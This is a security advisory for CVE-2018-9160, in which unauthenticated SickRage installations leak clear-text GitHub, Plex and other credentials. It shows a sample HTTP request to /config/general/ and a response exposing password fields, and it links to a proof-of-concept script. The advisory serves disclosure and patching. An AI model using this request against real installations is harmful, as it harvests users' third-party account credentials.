Sickrage cleartext github credentials CVE-2018-9160

About

Exploit Title: SickRage Clear-Text Credentials in HTTP Response
Date: 2018-04-01
Exploit Author: Sven Fassbender
Contact: https://twitter.com/mezdanak
Vendor Homepage: https://sickrage.github.io
Software Link: https://github.com/SickRage/SickRage
Version: < v2018.03.09-1
CVE : CVE-2018-9160
Category: webapps

Background information

"SickRage is an automatic Video Library Manager for TV Shows.
It watches for new episodes of your favourite shows, and when they are posted it does its magic:
automatic torrent/nzb searching, downloading, and processing at the qualities you want." --extract from https://sickrage.github.io

Vulnerability description

SickRage returns clear-text credentials for e.g. GitHub, AniDB, Kodi, Plex etc. in HTTP responses.
Prerequisite is that the user did not set a username and password for their SickRage installation. (not enforced, default)

HTTP request:

GET /config/general/ HTTP/1.1  
Host: 192.168.1.13:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.13:8081/config/backuprestore/  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1

HTTP response:

HTTP/1.1 200 OK  
Content-Length: 113397  
Vary: Accept-Encoding  
Server: TornadoServer/4.5.1  
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"  
Date: Fri, 02 Mar 2018 10:47:51 GMT  
Content-Type: text/html; charset=UTF-8  

<!DOCTYPE html>  
<html lang="nl_NL">  
    <head>  
		[...]  
        <input type="text" name="git_username" id="git_username" value="[email protected]" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />  
        [...]  
        <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />  
		[...]  
        </div>  
    </body>  
</html>

Proof of Concept

https://github.com/mechanico/sickrageWTF/blob/master/get_github_creds_sickrage.py

Timeline

[2018-03-07] Vulnerability discovered
[2018-03-08] Vendor contacted
[2018-03-08] Vendor replied
[2018-03-09] Vulnerability fixed. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)

Recommendation

Update the SickRage installation on v2018.03.09-1 or later.
Protect the access to the web application with proper user credentials.

sickrageWTF

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Sickrage cleartext github credentials CVE-2018-9160